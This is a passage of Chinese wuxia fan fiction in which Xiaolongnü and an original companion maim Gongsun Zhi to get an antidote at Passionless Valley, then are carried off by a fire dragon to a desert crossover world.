黄蓉原先只当古墓派远离尘世,自有一套不为外人所知的相处法子。她看得出两人亲密无间,却也只以为那是多年相依养出的情分,从未真往世俗夫妻那一层去想。 可方才小童子说得认真,小龙女接得自然。一个说还没有拜堂和洞房,一个便说要补回来,坦荡得不像玩笑,也不像故意拿话惊人。 黄蓉心中微微一动,再看小童子与小龙女被李莫愁笑得茫然的模样,又觉得不对。两双眼睛都清清澈澈,没有羞愤,没有躲闪,也没有半分被人撞破心事的慌乱。 黄蓉自认见惯人心,此刻竟也一时分不清,她俩究竟是懂,还是不懂。 不过眼下也不必急着分清,有这两人这么一搅,公孙止的心思已乱了几分,对她而言,正好。 公孙止的心情确实很不好,从小龙女走进大堂那一刻起,他便动了心思。 那样的容貌,那样的气质,干净得不像凡人。他这么多年见过的美人,没有一个比得上她。尽管他今日是要成亲,可男人的贪念从来不会因为一场婚礼便停下。 他方才还在想,若能设法把这白衣少女留下,倒也不枉今日一场风波。 可现在他听见什么?那少女说,她要和少年把拜堂和洞房补回来,在这大庭广众之下。 公孙止这才真正仔细看向小童子,那人身形颀长,窄袖束腰,眉目清俊,竟也是人中龙凤。那少年站在小龙女身旁,非但不被那一身仙姿玉色压下去,反倒彼此映照,叫两人的眉眼都更鲜明了几分。 这发现非但没有叫公孙止觉得赏心悦目,反而像一根刺扎进心里。公孙止越想越不痛快,唯一叫他开心的是,他们还没有洞房。 没有洞房,这四个字让公孙止眼神亮了一瞬。 黄蓉何等敏锐,立刻捕捉到他眼里的变化。她几乎立刻看懂了公孙止在想什么,心中顿时生出厌恶。 李莫愁的笑声也在这一瞬慢慢停了。 她原本还笑得肆意,笑小童子这些年过去,还是能一本正经说出叫人瞠目结舌的话;也笑小龙女冷冷清清,却偏偏跟着小童子一起胡闹。可公孙止那一眼扫过来,笑意便像被刀尖挑断,忽然就冷了。 她和小龙女不对付,从前在古墓里斗,出了古墓也斗。小龙女越是清静,她越想搅得她心烦;小龙女越是不理人,她越想逼她开口。可那是她们师门里的账,是她李莫愁的怨气,不代表这等男人便能用这种眼神看她师妹。 公孙止这副货色穿得体面,说话也端着一副谷主架子,可眼底那点贪婪一露,便比满堂红烛滴下来的蜡泪还叫人恶心。 李莫愁挑了挑眉,故意笑道:“谷主今日大喜,怎么听见别人夫妻恩爱,脸色倒比丧事还难看?” 公孙止脸色一沉:“李道长慎言。” “我慎言?”李莫愁笑得更轻,眼神却凉,“我这师妹素来不爱说谎,她说要补,便是真的要补。谷主若听不得,不如少看两眼。” 小童子也看到公孙止的眼神,她不懂公孙止那些弯绕心思,可她心里忽然有了一点火气。她不知道这火气从哪里来,只是抬起眼,安安静静一瞬不瞬地盯住公孙止。 小龙女也察觉到公孙止的目光,虽不明其中弯绕,却本能地排斥。 她没有理会公孙止,只在听完李莫愁的话后,认真思考了片刻,便握紧小童子的手,平静开口:“回去就洞房。” 堂中再次安静,这一次,比方才还静。 62.喜礼 “回去就洞房。” 黄蓉站在她们前方,眼角轻轻跳了一下。 她很想回头告诉这两个孩子,世俗里的“洞房”不是她们想的那样,更不是像洗米、煮粥一样适合她俩放入日常,可眼下显然不是解释这个的时候。 公孙止很快换上一副主人家的温和神色:“原来二位竟也是一对璧人。” “既然二位还未拜堂,也未洞房,今日倒巧。敝谷正有喜事,红烛高堂皆备,若二位不嫌弃,在下倒可替二位添一份喜礼,也算双喜临门。” 堂中众人神色各异,黄蓉微微一笑,她等的就是这句:“谷主果然好气度,既然谷主说要添一份喜礼,那这份礼可不能轻。” 公孙止笑道:“郭夫人倒替他们会讨礼。” 黄蓉道:“她们不懂俗礼,我自然要替她们说一说。成亲拜堂,最讲究吉利。今日堂中绑着人,伤着人,中着毒,哭声怨声全在一处,血光太重,如何算喜?” “谷主若真有心为二位少年人添礼,不如先拿出解药,救下这些中毒的人。人活了,怨气散了,才叫喜上添喜。否则满堂红绸,底下却压着几条人命,岂不是晦气?” 小童子听得眼睛亮了一点,便抬头,看向公孙止:“我们要解药。” 公孙止笑意淡了淡:“你倒是直接。” 小龙女接上:“你说送的。” 公孙止:“……” 小童子乘胜追击:“要够。” 公孙止看向她:“够?” 小童子平静道:“黄蓉的朋友,陆无双,杨过,师姐,都要解药。” 堂中又静了一下,这话从她口中说出来,平淡得几乎没有情绪,却偏偏叫人无法装作听不懂。 李莫愁原本已经笑够了,此刻听见小童子把自己也算进中毒的人里,脸色微微一僵:“谁要你管?” 小童子回头看她:“你中毒了。” 李莫愁冷声道:“我自己会解。” 小童子想了想:“万一解不了呢?” 李莫愁气笑了:“小童子,你现在倒会替师姐拿主意。” 小童子神情淡淡:“喜礼可以多要。” 李莫愁又想笑,她忍了忍,没忍住:“你知道什么是洞房吗,就敢跟人要喜礼?” 这句话出口,洪凌波耳根立刻红了。 杨过也不自在地别开眼。 黄蓉眼神一动,想阻止已经来不及。 李莫愁本是想逗小童子,像从前一样。她想看小童子愣住,想看她皱眉,想看她那种明明不懂却硬要装懂的样子。小时候逗哭她很容易,如今逗不哭了,逗得她茫然也好。 小童子果然茫然了一下,她看向小龙女。 小龙女却先看向李莫愁:“师姐知道?” 李莫愁的笑一下卡住,尴尬的气氛在堂中弥漫。 黄蓉低头咳了一声,洪凌波的脸更红,恨不得把头埋进地里。杨过瞪大眼,看李莫愁,又看小龙女,表情精彩得很。 李莫愁被这一句问得噎住,她当然知道。她在江湖走了这么多年,什么男女情爱、洞房花烛、薄幸负心没见过?她甚至就是被这些东西一路折磨成今日这个样子。 可她能在这里教两个师妹什么叫洞房吗?在黄蓉、杨过、洪凌波、公孙止、绝情谷一众人面前? 她能说吗?不能。 说了她就像个不正经的师姐,李莫愁脸上的笑僵了僵。 小童子眨了眨眼:“师姐,你知道就告诉我们。” 李莫愁:“……” 她忽然觉得胸口又堵了,这两个孩子以前就会噎她,多年不见,还是这样。 不,只怕更厉害了。 李莫愁冷笑一声:“回古墓自己琢磨去。” 小童子认真记下:“好。” 李莫愁:“……” 黄蓉重新看向公孙止,不能让这场荒唐把正事冲散。 公孙止的脸色已经沉了下来,他原本想借婚礼与洞房之名试探两人,甚至想着若能让她们留在谷中,便有许多可乘之机。可黄蓉一转手,竟把他的话变成了索要解药的由头。 更叫他不快的是,小龙女从头到尾都没有正眼看他几次。她只看小童子,只牵小童子的手,仿佛这满堂红烛、他这个谷主、绝情谷的威势,全都不值一提。 公孙止端起桌上酒盏,慢慢转了一圈:“解药是救命之物,不是喜宴上的果子,郭夫人开口便要,未免太轻易。” 黄蓉道:“喜礼若太轻,也配不上谷主身份。” 公孙止笑了一声:“郭夫人好口才。” 黄蓉道:“不敢当。谷主好心要送喜礼,我只是替二位少年挑一样最有用的。” 公孙止忽然笑得温和了些:“二位既然要喜礼,也不是不可。只是敝谷解药珍贵,不能随意送人。若二位愿留下观礼,待婚礼成后,在下自会命人取一份解药,权作贺礼。” 黄蓉眼神一冷,待婚礼成后,这话听着温和,实则拖延。拖得越久,中毒的人越危险。若婚礼中再生变故,解药更不知会落到何处。 小龙女也皱眉:“现在给。” 公孙止哈哈一笑:“何必急?喜礼自然要等礼成之后。” 小童子不解:“这又不是我的婚礼,为什么要等?” 这话太直,直得像一柄小刀,轻轻一下,就把公孙止那层温和客气的皮划开了。 公孙止脸上的笑意已经彻底冷了下去,他看着小童子,那眼神里再没有半分主人待客的温和:“看来你是不愿给绝情谷这个面子了,动手!” 话音落下,堂中红绸忽然齐齐一震。 不是风,是人。 暗处忽然窜出十数道身影,那些人手中都没有寻常刀剑,而是各执绳索、长杆、铁钩与大网。大网细密,网上还缀着倒刺,边缘泛着暗暗青光,显然是谷中毒藤被编织上网。 黄蓉脸色一变:“小心网!” 几张大网从四面八方罩下,红烛被劲风扑得乱晃,满堂红光摇成一片。那些网从梁上落,从门外抛来,从左右廊柱后卷来,竟像早就准备好了一样。公孙止显然不是临时起意,他一直在拖延。 他拖的不是婚礼,而是这一张张毒网。 小童子和小龙女同时抬头,她们没有惊慌,也没有拔剑去砍。 小童子只说了一句:“别被勾坏衣服。” 小龙女回了一句:“去上面。” 两人牵着的手一松,内力极轻地一推,身形便像两片白羽,被网势卷起的风轻轻托上半空。几张大网罩到她们身前,忽然齐齐一偏,像被无形的手从中撕开,只擦着白衣两侧落下,捞住一片空风。 下一瞬,两人已轻飘飘落在房梁上。 房梁也挂着红绸,小童子落脚时还特意避开了绸结,免得踩脏。小龙女站在她身侧,白衣垂落,神情漠然。 堂下众人仰头看去,只觉那两人不像被围攻,倒像嫌地上太乱,索性站到了干净处。 小童子低头看向黄蓉:“现在能打了吗?” 黄蓉已经挥棒挑开一根缠向陆无双的绳索,闻言又好气又好笑:“能打,记得救人!” 黄蓉话音刚落,堂中便彻底乱了。 杨过扑向陆无双,想替她解绳。黄蓉护在几名中毒的朋友身前,打狗棒左挑右拨,将靠近的绝情谷弟子逼退。李莫愁冷笑一声,虽没有拂尘,袖中仍有毒针与掌力,抬手便将一名企图从背后偷袭的弟子拍翻。洪凌波捡起地上的剑护在她身侧,脸色虽白,动作却不慢。 绝情谷弟子手上戴着特质手套,举着毒网结阵。 可网阵对小龙女和小童子全无用处,她们在梁上、柱上、红绸之间飞掠,连衣角都没有被网钩碰到。小童子足尖一点,便从一张网的网眼上掠过。小龙女袖风轻拂,整张网便偏了方向,反将两个绝情谷弟子罩在一起。 公孙止终于坐不住了,他原本以为,纵然这二人武功高强,但毒网够多,总能刮到他俩。一旦两人中毒再以人质逼迫,总能拿捏这群人。 可他没想到,两人身法诡异,网在沾上他俩之前就自动避让。 公孙止眼中怒意一闪,决定亲自出手。他身形从喜案后掠出,袍袖一展,竟有一股阴柔劲力从袖底涌出。那劲力不似中原常见掌法,阴寒而绵密,像水下暗流,直卷小童子落足之处。 同时,他另一只手藏在袖中,指间有寒光一闪。 黄蓉看见,立刻喝道:“小心!” 小童子低头,轻轻一笑。 公孙止只觉眼前一白,下一刻,他右腕一沉,左膝一麻。他袖底藏着的寒光还没有来 得及递出去,整个人便像被人抽去筋骨,砰的一声跪倒在地。 小童子的剑尖点在他右腕,小龙女剑鞘打在他膝盖上。 公孙止内力刚起,便被一股极细、极冷、极利的劲力截断。那劲力不厚,却锋利得吓人,像从他经脉中最窄的地方切进去,让他连反抗都找不到发力之处,他甚至不知道自己是怎么被制住的。 堂中乱斗瞬间停住,大家都愣住了,没想到仅一瞬间,公孙止就被治住了。 小童子低头看公孙止:“解药。” 公孙止脸色发白,额角渗出汗,却仍旧咬牙:“你们敢动我,便永远拿不到解药。” 小童子皱眉,这句话她听懂了,不给。 她抬头看黄蓉,黄蓉已经趁着绝情谷弟子不敢妄动的空隙,飞快替几名朋友解开绳索。杨过也救下陆无双,扶着她退到黄蓉身旁。 黄蓉看向小童子和小龙女:“先别杀他。” 小童子点头:“不杀。” 公孙止心中刚松半分,下一刻,小童子拔剑。剑光一闪,除了小龙女谁也没看清她如何出手。 公孙止只觉右手一凉,然后剧痛才猛地炸开。 他的整条右臂落在地上,血溅在红毡上。红上加红,竟一时分不清哪里是喜色,哪里是血色。 公孙止惨叫出声,那叫声尖利得几乎掀翻堂中红烛。 绝情谷众人脸色大变。 李莫愁却眼神一顿,这凶狠又干脆的动作,小童子真的是那个软乎乎的爱哭鬼了。她可以不杀,可她绝不手软。 小童子甩了甩剑尖的血,她没有得意,没有嚣张,眼神淡淡:“黄蓉说不杀你。” 公孙止痛得浑身发抖,几乎说不出话,耳边满是小童子冷冷的声音:“没说不伤你。” 公孙止瞪着她,眼里终于有了恐惧,他没想到这个有几分呆意的少年,心底如此冷酷,没有预警,抬手就砍。 小童子淡漠的眼神依旧没变:“解药。” 杨过看着小童子的举动,突然回想起初次见面,小童子就让他去势。他庆幸当时没有多说一句话,不然他……可保不住。 公孙止终于明白黄蓉说这少年不懂江湖规矩的真正意思。 江湖中人出手之前,总还要先说几句狠话,试探几分退路。这少年半句预告都没有,说砍便砍;再不给解药,下一剑只怕立时又落下。 “给……给你们!”他示意在身上某处。 小童子用剑一挑,小玉瓶飞向黄蓉。黄蓉立刻接过,将药倒出,却只有半颗。 黄蓉脸色一沉:“怎么只有半颗?” 公孙止痛得唇色发白,却仍旧艰难冷笑:“全谷的解药,只剩这半颗。你们要解药,给你们就是。” 黄蓉握着玉瓶,指尖微微收紧。杨过扶着陆无双,脸色一下白了。 李莫愁原本冷着脸站在一旁,像全不在意,可听见“只剩半颗”时,她眼神也变了一下。 就在这时,小童子转头看向她。李莫愁没想到小童子会在这个时候看向自己,也是一愣。 堂中大半人的心神,都被那半颗解药牵乱了。 公孙止等的就是这一瞬,他猛然暴起,断了一只手,却还有另一只手,藏在袖中的左手骤然翻出,掌中一点寒光直刺小童子心口,阴狠又刁钻,分明要趁她分神时一击得手。 一直站在小童子身侧小龙女袖中剑光轻轻一闪;满堂人心皆乱,唯独她没有。 剑光斜斜一掠,轻得几乎没有声音。 公孙止整个人僵在半空,掌中寒光离小童子不过数寸,却再也递不出去。 下一瞬,他的左臂与双腿一齐断开,血溅在红毡上,人也重重砸了回去。 堂中绝情谷弟子全都僵住,满堂宾客也一时失声。 谁也没有想到,这个冷冷清清、仿佛什么都不放在心上的小龙女,出手竟比小童子更狠;公孙止连痛都喊不出来,便已被她一剑废在红毡上。 小龙女低头看着公孙止,眼神冰冷:“你要杀她。” 她说得很轻,像是在解释为什么方才那一剑如此凶残。 满堂红烛仍旧烧着,红光照着公孙止满身的血,照着满堂苍白的脸,也照着小龙女与小童子牵在一起的手。 这场喜事,终究是染上了血。 63.焚谷 烛火摇摇晃晃,映着公孙止青白交错的脸。 公孙止终于明白,对上小龙女和小童子,所谓谷主威严、弟子人手、机关网阵,都像红烛上的蜡,一烧便塌。他现在非常后悔自己不知天高地厚,惹上这两魔星,葬送了自己大好人生。 黄蓉看了公孙止一眼,确定他再无威胁,转头看向杨过:“过儿,把谷里这些人手先绑起来。” 杨过立刻应声,他动作极快,将堂中还能动的绝情谷的弟子一一捆住。 陆无双看见杨过行动,脸色仍白,嘴上却不肯服软,扶着柱子道:“我也来帮忙。” 黄蓉连忙制止:“你中了毒,别乱动。” 陆无双咬牙:“我还能动。” 杨过回头瞪她:“让你别动就别动。” 陆无双也瞪他:“你管我?” 杨过一边捆人,一边生气:“我不管你,谁管你?” 陆无双脸色一红,又立刻扭过头去。 小童子看看杨过,又看看陆无双,没看懂这两人在做什么。小龙女却没有看他们,她神色仍淡,只是走到小童子身边,垂眸伸手,与她十指紧扣。 小龙女握得比平日紧一些,小童子立刻察觉到了。方才公孙止的偷袭冲着她来,虽没能伤到她,却叫小龙女担心了。 小童子举起交握的手,脸颊轻轻贴了贴小龙女的手背,又在掌心渡回一道细细内力,像在悄悄解释:“我没事,公孙止伤不到我,你知道的。” 小龙女没有回话,眼睫低垂,周身气息仍冷,显然还没被哄好。 小童子想了想,又往她身边挨近一点,拿脸颊很轻地蹭了蹭小龙女的脸。堂中这么多人,她也不说话,只偷偷撒娇似的贴着小龙女,仿佛只要多贴几下,小龙女心里的那点不高兴就能被她一点点蹭散。 小龙女被她这样轻轻一贴,眼底那点冷意终究淡了些。堂中众人各自忙乱,唯有李莫愁与洪凌波闲在一旁,将这一幕看了个正着。 李莫愁忽然很想翻个白眼,不知道师父老人家看到这两人如此举动,会有什么反应。洪凌波却忍不住弯了弯唇,只觉得两位师叔方才出手时冷酷无情,转眼举止又像孩子,有些奇怪的反差萌。 黄蓉的几位朋友被一一松绑,有两人中毒已久,气息虚弱,脸色发青,只能靠在椅边慢慢喘气。 黄蓉没有把药分给任何人,只将那半颗绝情丹小心收好。靠在椅边的青脸汉子动了动唇,黄蓉看见了,走过去按住他手背,解释道:“解药只有半颗,分了也救不了所有人。留着让懂药理的人验清方子,也许能救更多人。” 那人喘了两口气,终究点了点头。 公孙止瘫在一旁,脸上又痛又恨。他听见黄蓉这番话,嘴角反而扯出一丝冷笑:“郭夫人想得倒美,绝情丹不是随便拿半颗解药便能配出来的。” 黄蓉转过身,目光清亮:“或许你做不到,但我不信这世上无人能破你的毒。” 公孙止冷笑一下,不再说话。 黄蓉带人往谷中各处走了一圈,谷内一处药炉尚温,墙上挂着几张被烟熏黄的药笺,字迹残缺不全,有几味药名被火星烫穿,只剩边角;药圃旁堆着新采下来的草根花刺,库房里还收着几只标了旧名的小匣。 黄蓉不管东西看着多零碎,只要像是与解药有关,便让人一一包好带走。药臼、炉灰、残渣,连盛过丹药的空瓶也没有放过。她做事极快,怀着身孕也不肯坐下歇息,直到杨过忍不住劝了一句,她才停下脚步。 众人又回到堂前,杨过回身去扶陆无双。陆无双嘴上嫌他烦,手却没有甩开。 小童子和小龙女远远看着杨过和陆无双,仍旧没看明白这两人,却觉得他们吵着吵着,好像比方才都安心了一点。 黄蓉将搜出来的东西交给身边人收好,目光却越过堂门,落向谷中深处连绵的花林:“把情花和毒藤都清出来,能入药的留下,其余一株不留。” 杨过、陆青和黄蓉几名还能行动的朋友立刻应下。 那些花枝开得越好,刺上毒性越防不胜防,众人谁也不敢大意,穿戴上谷中特质的手套,各自提刀、持剑,往谷中各处去。 绝情谷的花林很快响起一片斫砍声,刀刃落在枝条上,咔嚓咔嚓。带刺的藤蔓被砍断,白色粉色的花纷纷落下,花香反而更浓。 杨过拿着长刀砍得最狠,陆无双站在远处看着,嘴上骂他:“你小心点,别把自己也扎了。” 杨过边砍边喊:“知道了。” “你知道什么?你知道还会中毒?” “那是先前不知道!” “现在知道了也未必聪明。” 两人一边吵,一边又都忍不住看对方。 小童子在堂前听见,问小龙女:“他们是在吵架吗?” 小龙女听了听:“像是,但看神色又不像,反而更像是担心对方。” 小童子疑惑:“担心对方为什么要对骂?” 小龙女摇头:“不知道,可能这是古墓外面的人相处之道?” 小童子皱眉,外面的人实在是古怪得很。 不久之后,火起了。 被砍下的情花草木一层层堆在谷中空地,火把落下,白的、粉的花瓣先是蜷缩,继而焦黑。甜腻的花香被烈火一逼,混着草木焦气,呛得远处几名江湖人连连咳嗽。众人陆续退出山谷,回头望去,只见浓烟顺着两侧石壁往上爬,火光把整座山谷都映成一片暗红。 小童子和小龙女走在人群最后方,两人仍旧牵着手,掌心里细细的内力缓缓流转。 杨过一边扶着陆无双,一边紧张地盯着黄蓉。黄蓉脸色有些苍白,站在烟气外头,眉眼间却带着几分终于松下来的疲惫。 李莫愁带着洪凌波在人群左侧,慢悠悠地走着,眉头紧锁,不知在想着什么。 谷中大火越烧越旺,顺着满谷的绿藤,一路向下。 起初众人都以为那只是藤蔓相连,火势自然蔓延。可小童子和小龙女很快听见地底有极细的声响,像石缝里有水沸腾,又像许多 锁链在深处轻轻相撞。小童子停住脚步,小龙女也同时停下,两人不约而同回头。 忽然,地底深处传来一声闷响。那声音起初极低,像有人在很远很远的地下擂了一面鼓。 其他人这才察觉不对,纷纷顺着她俩的目光望去。那闷响从火堆下方传来,沉而闷,绝不是寻常木柴爆裂之声。 第二声闷响紧接着传来,这一次,整座绝情谷都震了一下。石壁上尘土簌簌落下,火堆中的情花枝条猛地塌陷,火舌向四面一扑,竟像被什么东西从下方吸了一口气。浓烟被卷成旋涡,直直往山谷中央沉去。 “退!”黄蓉反应极快,立刻喝了一声。 伤者互相搀扶,仓促快跑,杨过掠到黄蓉身旁,一边拉扯陆无双,一边扶着黄蓉,剧烈运功导致脸色一白。 小童子和小龙女看到谷底悬崖裂开了一条缝,缝中先透出红光,红得发金,又很快变成炽白。谷底的石面像被什么东西从下面顶起,一块块碎裂,裂纹迅速向四方爬开。那些还未烧尽的情花枝条被红光一照,瞬间化作灰烬,连烟都来不及冒。 紧接着地底轰然炸开,一条火龙从谷底冲了出来。 那并非凡火凝成的幻影,赤红火焰翻卷成鳞,鳞片边缘泛着金色,长须如焰,龙角如烧红的玉石,巨大的龙身从裂开的谷底盘旋而起,带出滚滚热浪。 它一出现,整座绝情谷的花香、血腥气、烟气,全被烈火吞没,只剩一种近乎古老的灼热气息。连头顶天空也骤然变色,云层被火光烧得通红,紫色惊雷在云间一道道劈开,又彼此交错,仿佛有人在天上张开了一张巨大的雷网。 火龙升至半空,长尾扫过裂开的谷底,满身赤焰在雷光里翻涌。它刚一稳住身形,炽亮的双目便骤然低垂,一左一右,准确地锁住了小童子和小龙女。 小童子和小龙女心中一惊,立刻想要退开。可被那双龙目锁住的一瞬,两人的身形竟同时僵在原地,连指尖都动不了。她俩内力如今早已不同往日,丹田才动,周身经脉便像被温热的潮水层层按住,不疼,也不像被封穴,却连呼吸都慢了半拍。那不是武功上的压制,更像天地忽然换了一套规则,不许她俩再按从前的法子动弹。 火龙在半空盘旋一折,庞大的龙身如赤焰长河游掠而下,转瞬便将两人一并裹住。 说来也怪,那火明明热得能焚尽绝情谷的绿植,落在她们身上时却没有烧坏衣裳。下一瞬俩人脚下一空,齐齐被火龙带起,冲天而上。 绝情谷在身下急速缩小,山壁、人影,全被火光拖成模糊的一片。小童子和小龙女看见黄蓉抬头,似乎喊了一声;看见杨过往前冲了几步,被热浪逼退;看见李莫愁站在花影尽头,拂尘在风里乱飞,脸上的尽是错愕。 火龙直冲天空,风声像千万柄刀从耳边刮过,她们穿过云层,穿过刺目的白光。天地仿佛一瞬间失去了上下左右,火焰流动的声音、龙吟、风啸,全混在一起。 最后的记忆,是火龙低低一声长吟,两人陷入无边无际的黑暗。 64.天外来客 不知过了多久,耳边有女子细微的声响。 “秀宁,你看,她们好像醒了。” 那声音很近,清亮,却带着一点谨慎。小童子先是听见风声,不是绝情谷里被花木挡住的湿风,也不是古墓石缝间那种阴冷的风,而是一种空旷到没有回音的风。它掠过地面,发出极细密的沙沙声,像有人把无数细盐轻轻推来推去。 小童子微微皱眉,睁开眼。天蓝得惊人,不是终南山被松枝割碎的蓝,也不是绝情谷石壁间窄窄的一线天,而是一整片毫无遮挡的蓝,从头顶铺到极远处,清亮得让人眼睛发酸。太阳高悬,明晃晃地照下来,把人都照得发热发烫。 小童子怔了片刻,才从那片刺眼的天光里觉出掌心还被人握着。那触感很轻,但很熟悉,她的目光便从头顶的蓝天慢慢落下,顺着自己被牵住的手看过去,侧头望见了小龙女。 小龙女也刚醒,她白衣上沾满浅黄色细沙,乌发散在肩头,发梢粘着几粒沙子。她眼睫轻轻一动,眸中尚有一层初醒的淡淡迷蒙,最先看见的却是小童子的脸。 那一瞬间,她才觉出两人的手还牵着,而没有相握的另一只手,各自扣着配剑,一左一右,剑柄都还压在掌心。她很快清醒过来,目光从小童子脸上移开,扫向四周。 她们身前有两个陌生女子,一个半蹲,一个站着低头看着她俩。站着的那个女子背着日光,身影被拉得很长,阴影正斜斜打落在小龙女和小童子身上。 站着的那个女子身量高挑,眉目明朗。小龙女仰头看去,只见她披着一件灰白长斗篷,脚下穿着高靴,靴面沾满黄沙。她站姿很稳,肩背舒展,明明只是垂眉看着两人,却不见江湖人常有的锋锐逼迫,反倒有一种端正从容、遇事不乱的气度。 另一个女子面容秀气,眼睛很亮,眉梢带着温柔。她也披着斗篷,因着她半蹲看着两人,斗篷露出里面的衣裳,衣裳奇怪得很,只有半截袖子。她蹲在两人面前,手里拿着一个透亮的瓶子,瓶身在太阳下反光,里面的水清澈透明。 小龙女的目光越过她们身后,看见更远处是一大片开阔得叫人心慌的天地。天是蓝的,地是黄的。 黄沙一层接一层起伏,周围没有草,没有树,也没有山谷和石壁。远处沙丘被风削出锋利的线,热气从沙面蒸腾上来,把天幕都晃得微微变形。风一吹,细沙贴着地面流动,像黄色的水。 小童子和小龙女慢慢坐起身,细沙从她们衣摆、发间、袖口簌簌滑落。 两人松开交握的手,小童子伸手摸了一把地面,满手都是细腻的沙子,又细又软,从指缝间漏下去。她看着掌心:“这里的沙子,比盐还要细。” 小龙女也看着指尖滑落的黄沙:“又细又软,还很多。” 蹲着的秀气女子原本有些担心,听见这两句,表情微微一顿,像是不知道该先解释沙子,还是先问她们有没有受伤。 她把水递过来:“你们没事吧?需不需要喝水?给。” 小童子和小龙女看着那瓶水,没有接。这瓶子既不像琉璃,也不像玉,透亮却轻薄,瓶口处还有一圈白色的盖子。水在里面轻轻晃动,清澈得能看见阳光穿过去。 女子见她们不接,像是想起什么,忙笑了笑:“这是塑料瓶装的水,还没开封。” 她当着二人的面拧开瓶盖,“咔哒”一声,瓶口松开,有一点清凉水汽散出来。她把水递得更近些,神情不急,似乎怕惊着她们。 小龙女和小童子不觉得口渴,没有接过水瓶,反而慢慢站起身。脚底下的沙子又软又热,头上的太阳如火一样,洒下一波又一波的热浪。 小龙女轻声问:“这是哪里?你们有见到黄蓉吗?” 小童子补充:“还有李莫愁和洪凌波,另外还有几个男的。” 秀气女子:“……” 站着的高挑女子也沉默了一瞬。 两名女子见她们不喝水,也不恼。秀气女子站起身,把水收回,重新拧好瓶盖。高挑女子向前走了半步,目光在小龙女和小童子身上停留片刻,眼中有打量的意味,却没有恶意。 她道:“这里是沙漠,我们开着履带车经过,看到你们躺在地上。见你们不是活死人,也不像魔人,就过来看看。” 小童子和小龙女更懵了,活死人是什么?魔人又是什么?这两个词在她俩听来陌生得像菜市场上没见过的蔬菜。 秀气女子轻轻笑了一下,她把水瓶塞回斗篷里小包,语气放得更温和:“这里日头毒,我们一直在沙地里不好。先上车吧,车里凉快,也安全些。至于你们说的其他人,我们没见过,但可以慢慢帮你们打听。” 她回头指了指不远处的车,小童子和小龙女这才看见沙丘背后停着一件庞然大物。 那东西比马车大得多,外壳是灰白与暗绿相间的颜色,像披着铁甲。底下没有马,也没有寻常车轮,只有两条宽大的黑色履带紧贴沙地,履带上嵌着一节节铁齿。车身侧面有透明的窗,窗面明净如水。 小童子和小龙女眼里染上了好奇,这奇形怪状又异常精致的东西,她俩从来没有见过。 几人往履带车走去,沙地松软,一脚踩下去便陷进去寸许。小童子和小龙女起初不太习惯,一脚下去一鞋子沙,两人直接用上了轻功行走。 车门打开时,没有木轴摩擦声,只有低低的气流声。 车内传来凉意,小龙女和小童子脚步一顿,那凉意不是古墓寒冰床的冰冷刺骨,也不是山洞潮湿的阴凉,而是一种干净、稳定的凉。 车厢里铺着深灰色软垫,坐上去微微下陷。四壁嵌着许多看不懂的方形格子,有些闪着光,有些显示细小图案。车窗外黄沙明亮,车内却凉爽安静,连风声都被隔在外面。 “软的。”小童子忍不住摸了摸座椅,对小龙女说。 小龙女坐下也能感觉到,轻轻点头:“但是不像动物皮毛。” 坐到前方的高挑女子伸手按了几下车上的方方块块,又握住一个圆形的东西。履带车轻轻一震,随即向前移动。 小童子猛地坐直,小龙女眼神闪过一丝迷茫,没有马拉,没有人推,这车竟自己动了。 两人看着窗外缓缓后退的沙丘,眼睛亮了一下。 车里凉风从小小格栅里吹出,拂过脸颊,带着一点干净的金属气味。秀气女子坐在她俩前方,放下斗篷帽檐,露出被汗打湿几缕的鬓发。 “先自我介绍一下吧。”开车的高挑女子道,她目视前方,声音平稳,“我是李秀宁,来自《大唐双龙传》。” 小童子和小龙女没有听懂“来自”后面的意思,只记下了她的名字。 秀气女子从腰侧小包里拿出一张薄薄的卡牌,那卡牌透明得像冰,边缘泛着金色光,中央有细微纹 路流动。她把卡牌夹在指间,回头朝两人晃了晃。 “我是铁心兰,来自《绝代双骄》。”她语气温和,“让我看看你俩来自哪个世界。” “世界?”小童子和小龙女疑惑。 铁心兰点点头,却没有立刻解释。她把透明卡牌对准小龙女,卡面亮了一下,发出“嘀”的一声。小童子眼睛微微睁大,只见卡牌上竟浮出一行行字,字形整齐,像有人用极细的笔瞬间写就。 姓名:小龙女 世界:《神雕??》 理智值:?? 铁心兰“咦”了一声,她凑近看了看,又把卡牌翻过来,指尖在边缘轻轻敲了一下。卡面上的字没有变化,仍有几处被问号遮住。 “秀宁,我的卡牌好像坏了,显示不出世界。给你的我用用。” 李秀宁从口袋中拿出另一张卡牌,头也不回地递过去。铁心兰接过后对准小龙女,重复同样的动作。又是清脆一声“嘀”,卡面亮起,显示出的文字竟与方才一模一样。 姓名:小龙女 世界:《神雕??》 理智值:?? “奇怪。”铁心兰眉心轻轻蹙起。 小龙女静静看着那张卡,她能认得“姓名”二字,也能认出自己的名讳,可后头那些符号让她心中生出一种难以言说的怪异感。 铁心兰又把卡牌对准小童子。 “嘀。” 这一次,卡面闪烁得更久。金色光纹像被什么东西扰乱,忽明忽暗。片刻后,上面浮现出三行字: 姓名:??? 世界:??? 理智值:??? 铁心兰“嗷”了一声,把卡牌还给李秀宁,哭笑不得:“我们的卡牌都坏了,可能这边的气温影响,晚点再看看吧。” 铁心兰回过头对小龙女和小童子说:“没关系,我大致和你们说一下。我看你俩的着装和佩剑,应该就是来自某个古代世界。我们这里有很多这样的人,我和秀宁就是其二,我俩都不是这个世界土生土长的人。” 小童子和小龙女听得认真,同时又想起那条火龙,怀疑对方也经历过类似的事情。 铁心兰继续道:“我们都是被不明原因带到这里的,当地人称为穿越。听不懂也没有关系,慢慢来。我和秀宁来到这个世界也才半年,刚来的时候比你们好不到哪里去。” “穿越。”小龙女轻声念出这个词。 小龙女和小童子互相对视一眼,她们都有些心惊,懵懂中有一个清晰的念头:或许她俩再也回不到古墓了。 就在这个想法出现时,两人心中俱是一震,随即感到一阵眩晕,仿佛她们相依为命的古墓,在这一刻无声无息地消失了。 两人下意识伸手去握住对方,柔软的指尖相触,温暖的掌心相碰,内息便在掌心间轻轻交汇,你中有我,我中有你。那一点熟悉的气息慢慢压过心头的惊惶,眩晕也随之淡去,两人的呼吸一点点平复下来。 车窗外,陌生的沙漠仍在日光下无边无际地铺展开去,车内,陌生的女子还在用她们听不懂又必须去听的话,讲述这个世界。 古墓、终南山、绝情谷,还有那条将她们带到此处的火龙,都像隔着一层看不见的雾,远得再也摸不着。小童子和小龙女仍握着彼此的手,在这片全然陌生的天地里,唯有对方是熟悉的存在。 65.换衣 履带车在沙漠中走了很久,车窗外仍是大片黄沙,偶尔有风卷着沙粒撞在窗上,发出细细的轻响。 